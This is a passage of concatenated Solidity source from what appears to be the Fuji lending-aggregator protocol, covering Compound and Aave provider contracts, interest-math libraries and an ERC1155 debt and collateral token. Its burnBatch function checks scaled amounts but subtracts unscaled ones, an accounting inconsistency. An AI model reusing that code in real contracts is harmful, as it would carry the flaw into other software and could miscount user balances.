* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cTokenAddr);
//Compound Protocol Borrow Process, throw errow if not.
require(cToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Create a reference to the corresponding cToken contract
ICEth cToken = ICEth(cTokenAddr);
cToken.repayBorrow{ value: msg.value }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cTokenAddr), _amount);
cToken.repayBorrow(_amount);
}
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: Compound uses base 1e18
uint256 bRateperBlock = (IGenCToken(cTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the Compound interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get Compound borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cTokenBal = IGenCToken(cTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCToken(cTokenAddr).exchangeRateStored();
return exRate.mul(cTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface ITokenInterface {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address) external view returns (uint256);
function decimals() external view returns (uint256);
}
interface IAaveInterface {
function deposit(
address _asset,
uint256 _amount,
address _onBehalfOf,
uint16 _referralCode
) external;
function withdraw(
address _asset,
uint256 _amount,
address _to
) external;
function borrow(
address _asset,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode,
address _onBehalfOf
) external;
function repay(
address _asset,
uint256 _amount,
uint256 _rateMode,
address _onBehalfOf
) external;
function setUserUseReserveAsCollateral(address _asset, bool _useAsCollateral) external;
}
interface AaveLendingPoolProviderInterface {
function getLendingPool() external view returns (address);
}
interface AaveDataProviderInterface {
function getReserveTokensAddresses(address _asset)
external
view
returns (
address aTokenAddress,
address stableDebtTokenAddress,
address variableDebtTokenAddress
);
function getUserReserveData(address _asset, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentStableDebt,
uint256 currentVariableDebt,
uint256 principalStableDebt,
uint256 scaledVariableDebt,
uint256 stableBorrowRate,
uint256 liquidityRate,
uint40 stableRateLastUpdated,
bool usageAsCollateralEnabled
);
function getReserveData(address _asset)
external
view
returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
);
}
interface AaveAddressProviderRegistryInterface {
function getAddressesProvidersList() external view returns (address[] memory);
}
contract ProviderAave is IProvider {
using SafeMath for uint256;
using UniERC20 for IERC20;
function _getAaveProvider() internal pure returns (AaveLendingPoolProviderInterface) {
return AaveLendingPoolProviderInterface(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); //mainnet
}
function _getAaveDataProvider() internal pure returns (AaveDataProviderInterface) {
return AaveDataProviderInterface(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d); //mainnet
}
function _getWethAddr() internal pure returns (address) {
return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet WETH Address
}
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
function _getIsColl(
AaveDataProviderInterface _aaveData,
address _token,
address _user
) internal view returns (bool isCol) {
(, , , , , , , , isCol) = _aaveData.getUserReserveData(_token, _user);
}
function _convertEthToWeth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) _token.deposit{ value: _amount }();
}
function _convertWethToEth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) {
_token.approve(address(_token), _amount);
_token.withdraw(_amount);
}
}
/**
* @dev Return the borrowing rate of ETH/ERC20_Token.
* @param _asset to query the borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
(, , , , uint256 variableBorrowRate, , , , , ) =
AaveDataProviderInterface(aaveData).getReserveData(
_asset == _getEthAddr() ? _getWethAddr() : _asset
);
return variableBorrowRate;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return variableDebt;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, _who);
return variableDebt;
}
/**
* @dev Return deposit balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(uint256 atokenBal, , , , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return atokenBal;
}
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset token address to deposit.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
if (isEth) {
_amount = _amount == uint256(-1) ? address(this).balance : _amount;
_convertEthToWeth(isEth, tokenContract, _amount);
} else {
_amount = _amount == uint256(-1) ? tokenContract.balanceOf(address(this)) : _amount;
}
tokenContract.approve(address(aave), _amount);
aave.deposit(_token, _amount, address(this), 0);
if (!_getIsColl(aaveData, _token, address(this))) {
aave.setUserUseReserveAsCollateral(_token, true);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
aave.borrow(_token, _amount, 2, 0, address(this));
_convertWethToEth(isEth, ITokenInterface(_token), _amount);
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset token address to withdraw.
* @param _amount token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
uint256 initialBal = tokenContract.balanceOf(address(this));
aave.withdraw(_token, _amount, address(this));
uint256 finalBal = tokenContract.balanceOf(address(this));
_amount = finalBal.sub(initialBal);
_convertWethToEth(isEth, tokenContract, _amount);
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.
* @param _amount token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, address(this));
_amount = _amount == uint256(-1) ? variableDebt : _amount;
if (isEth) _convertEthToWeth(isEth, tokenContract, _amount);
tokenContract.approve(address(aave), _amount);
aave.repay(_token, _amount, 2, address(this));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { WadRayMath } from "./WadRayMath.sol";
library MathUtils {
using SafeMath for uint256;
using WadRayMath for uint256;
/// @dev Ignoring leap years
uint256 internal constant _SECONDS_PER_YEAR = 365 days;
/**
* @dev Function to calculate the interest accumulated using a linear interest rate formula
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate linearly accumulated during the timeDelta, in ray
**/
function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp));
return (rate.mul(timeDifference) / _SECONDS_PER_YEAR).add(WadRayMath.ray());
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
function calculateCompoundedInterest(
uint256 rate,
uint40 lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solhint-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = rate / _SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
/**
* @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp
* @param rate The interest rate (in ray)
* @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated
**/
function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { Errors } from "./Errors.sol";
/**
* @title WadRayMath library
* @author Aave
* @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
**/
library WadRayMath {
uint256 internal constant _WAD = 1e18;
uint256 internal constant _HALF_WAD = _WAD / 2;
uint256 internal constant _RAY = 1e27;
uint256 internal constant _HALF_RAY = _RAY / 2;
uint256 internal constant _WAD_RAY_RATIO = 1e9;
/**
* @return One ray, 1e27
**/
function ray() internal pure returns (uint256) {
return _RAY;
}
/**
* @return One wad, 1e18
**/
function wad() internal pure returns (uint256) {
return _WAD;
}
/**
* @return Half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return _HALF_RAY;
}
/**
* @return Half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return _HALF_WAD;
}
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_WAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_WAD) / _WAD;
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _WAD, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _WAD + halfB) / b;
}
/**
* @dev Multiplies two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_RAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_RAY) / _RAY;
}
/**
* @dev Divides two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _RAY, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _RAY + halfB) / b;
}
/**
* @dev Casts ray down to wad
* @param a Ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = _WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW);
return result / _WAD_RAY_RATIO;
}
/**
* @dev Converts wad up to ray
* @param a Wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * _WAD_RAY_RATIO;
require(result / _WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW);
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IFujiERC1155 } from "./IFujiERC1155.sol";
import { FujiBaseERC1155 } from "./FujiBaseERC1155.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { WadRayMath } from "../Libraries/WadRayMath.sol";
import { MathUtils } from "../Libraries/MathUtils.sol";
import { Errors } from "../Libraries/Errors.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
contract F1155Manager is Ownable {
using Address for address;
// Controls for Mint-Burn Operations
mapping(address => bool) public addrPermit;
modifier onlyPermit() {
require(addrPermit[_msgSender()] || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
function setPermit(address _address, bool _permit) public onlyOwner {
require((_address).isContract(), Errors.VL_NOT_A_CONTRACT);
addrPermit[_address] = _permit;
}
}
contract FujiERC1155 is IFujiERC1155, FujiBaseERC1155, F1155Manager {
using WadRayMath for uint256;
//FujiERC1155 Asset ID Mapping
//AssetType => asset reference address => ERC1155 Asset ID
mapping(AssetType => mapping(address => uint256)) public assetIDs;
//Control mapping that returns the AssetType of an AssetID
mapping(uint256 => AssetType) public assetIDtype;
uint64 public override qtyOfManagedAssets;
//Asset ID Liquidity Index mapping
//AssetId => Liquidity index for asset ID
mapping(uint256 => uint256) public indexes;
// Optimizer Fee expressed in Ray, where 1 ray = 100% APR
//uint256 public optimizerFee;
//uint256 public lastUpdateTimestamp;
//uint256 public fujiIndex;
/// @dev Ignoring leap years
//uint256 internal constant SECONDS_PER_YEAR = 365 days;
constructor() public {
//fujiIndex = WadRayMath.ray();
//optimizerFee = 1e24;
}
/**
* @dev Updates Index of AssetID
* @param _assetID: ERC1155 ID of the asset which state will be updated.
* @param newBalance: Amount
**/
function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit {
uint256 total = totalSupply(_assetID);
if (newBalance > 0 && total > 0 && newBalance > total) {
uint256 diff = newBalance.sub(total);
uint256 amountToIndexRatio = (diff.wadToRay()).rayDiv(total.wadToRay());
uint256 result = amountToIndexRatio.add(WadRayMath.ray());
result = result.rayMul(indexes[_assetID]);
require(result <= type(uint128).max, Errors.VL_INDEX_OVERFLOW);
indexes[_assetID] = uint128(result);
// TODO: calculate interest rate for a fujiOptimizer Fee.
/*
if(lastUpdateTimestamp==0){
lastUpdateTimestamp = block.timestamp;
}
uint256 accrued = _calculateCompoundedInterest(
optimizerFee,
lastUpdateTimestamp,
block.timestamp
).rayMul(fujiIndex);
fujiIndex = accrued;
lastUpdateTimestamp = block.timestamp;
*/
}
}
/**
* @dev Returns the total supply of Asset_ID with accrued interest.
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function totalSupply(uint256 _assetID) public view virtual override returns (uint256) {
// TODO: include interest accrued by Fuji OptimizerFee
return super.totalSupply(_assetID).rayMul(indexes[_assetID]);
}
/**
* @dev Returns the scaled total supply of the token ID. Represents sum(token ID Principal /index)
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledTotalSupply(uint256 _assetID) public view virtual returns (uint256) {
return super.totalSupply(_assetID);
}
/**
* @dev Returns the principal + accrued interest balance of the user
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function balanceOf(address _account, uint256 _assetID)
public
view
override(FujiBaseERC1155, IFujiERC1155)
returns (uint256)
{
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return 0;
}
// TODO: include interest accrued by Fuji OptimizerFee
return scaledBalance.rayMul(indexes[_assetID]);
}
/**
* @dev Returns the balance of User, split into owed amounts to BaseProtocol and FujiProtocol
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
/*
function splitBalanceOf(
address _account,
uint256 _assetID
) public view override returns (uint256,uint256) {
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return (0,0);
} else {
TO DO COMPUTATION
return (baseprotocol, fuji);
}
}
*/
/**
* @dev Returns Scaled Balance of the user (e.g. balance/index)
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledBalanceOf(address _account, uint256 _assetID)
public
view
virtual
returns (uint256)
{
return super.balanceOf(_account, _assetID);
}
/**
* @dev Returns the sum of balance of the user for an AssetType.
* This function is used for when AssetType have units of account of the same value (e.g stablecoins)
* @param _account: address of the User
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
**/
/*
function balanceOfBatchType(address _account, AssetType _type) external view override returns (uint256 total) {
uint256[] memory IDs = engagedIDsOf(_account, _type);
for(uint i; i < IDs.length; i++ ){
total = total.add(balanceOf(_account, IDs[i]));
}
}
*/
/**
* @dev Mints tokens for Collateral and Debt receipts for the Fuji Protocol
* Emits a {TransferSingle} event.
* Requirements:
* - `_account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
* - `_amount` should be in WAD
*/
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_id][_account] = accountBalance.add(amountScaled);
_totalSupply[_id] = assetTotalBalance.add(amountScaled);
emit TransferSingle(operator, address(0), _account, _id, _amount);
_doSafeTransferAcceptanceCheck(operator, address(0), _account, _id, _amount, _data);
}
/**
* @dev [Batched] version of {mint}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
* - If `_to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) external onlyPermit {
require(_to != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
accountBalance = _balances[_ids[i]][_to];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_ids[i]][_to] = accountBalance.add(amountScaled);
_totalSupply[_ids[i]] = assetTotalBalance.add(amountScaled);
}
emit TransferBatch(operator, address(0), _to, _ids, _amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), _to, _ids, _amounts, _data);
}
/**
* @dev Destroys `_amount` receipt tokens of token type `_id` from `account` for the Fuji Protocol
* Requirements:
* - `account` cannot be the zero address.
* - `account` must have at least `_amount` tokens of token type `_id`.
* - `_amount` should be in WAD
*/
function burn(
address _account,
uint256 _id,
uint256 _amount
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_id][_account] = accountBalance.sub(amountScaled);
_totalSupply[_id] = assetTotalBalance.sub(amountScaled);
emit TransferSingle(operator, _account, address(0), _id, _amount);
}
/**
* @dev [Batched] version of {burn}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
*/
function burnBatch(
address _account,
uint256[] memory _ids,
uint256[] memory _amounts
) external onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
uint256 amount = _amounts[i];
accountBalance = _balances[_ids[i]][_account];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_ids[i]][_account] = accountBalance.sub(amount);
_totalSupply[_ids[i]] = assetTotalBalance.sub(amount);
}
emit TransferBatch(operator, _account, address(0), _ids, _amounts);
}
//Getter Functions
/**
* @dev Getter Function for the Asset ID locally managed
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function getAssetID(AssetType _type, address _addr) external view override returns (uint256 id) {
id = assetIDs[_type][_addr];
require(id <= qtyOfManagedAssets, Errors.VL_INVALID_ASSETID_1155);
}
//Setter Functions
/**
* @dev Sets the FujiProtocol Fee to be charged
* @param _fee; Fee in Ray(1e27) to charge users for optimizerFee (1 ray = 100% APR)
*/
/*
function setoptimizerFee(uint256 _fee) public onlyOwner {
require(_fee >= WadRayMath.ray(), Errors.VL_OPTIMIZER_FEE_SMALL);
optimizerFee = _fee;
}
*/
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
*/
function setURI(string memory _newUri) public onlyOwner {
_uri = _newUri;
}
/**
* @dev Adds and initializes liquidity index of a new asset in FujiERC1155
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function addInitializeAsset(AssetType _type, address _addr)
external
override
onlyPermit
returns (uint64)
{
require(assetIDs[_type][_addr] == 0, Errors.VL_ASSET_EXISTS);
assetIDs[_type][_addr] = qtyOfManagedAssets;
assetIDtype[qtyOfManagedAssets] = _type;
//Initialize the liquidity Index
indexes[qtyOfManagedAssets] = WadRayMath.ray();
qtyOfManagedAssets++;
return qtyOfManagedAssets - 1;
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param _rate The interest rate, in ray
* @param _lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
/*
function _calculateCompoundedInterest(
uint256 _rate,
uint256 _lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solium-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(_lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = _rate / SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
*/
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import { IERC1155Receiver } from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import { IERC1155MetadataURI } from "@openzeppelin/contracts/token/ERC1155/IERC1155MetadataURI.sol";
import { ERC165 } from "@openzeppelin/contracts/introspection/ERC165.sol";
import { IERC165 } from "@openzeppelin/contracts/introspection/IERC165.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
import { Context } from "@openzeppelin/contracts/utils/Context.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Errors } from "../Libraries/Errors.sol";
/**
*
* @dev Implementation of the Base ERC1155 multi-token standard functions
* for Fuji Protocol control of User collaterals and borrow debt positions.
* Originally based on Openzeppelin
*
*/
contract FujiBaseERC1155 is IERC1155, ERC165, Context {
using Address for address;
using SafeMath for uint256;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) internal _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) internal _operatorApprovals;
// Mapping from token ID to totalSupply
mapping(uint256 => uint256) internal _totalSupply;
//Fuji ERC1155 Transfer Control
bool public transfersActive;
modifier isTransferActive() {
require(transfersActive, Errors.VL_NOT_AUTHORIZED);
_;
}
//URI for all token types by relying on ID substitution
//https://token.fujiDao.org/{id}.json
string internal _uri;
/**
* @return The total supply of a token id
**/
function totalSupply(uint256 id) public view virtual returns (uint256) {
return _totalSupply[id];
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
* Requirements:
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
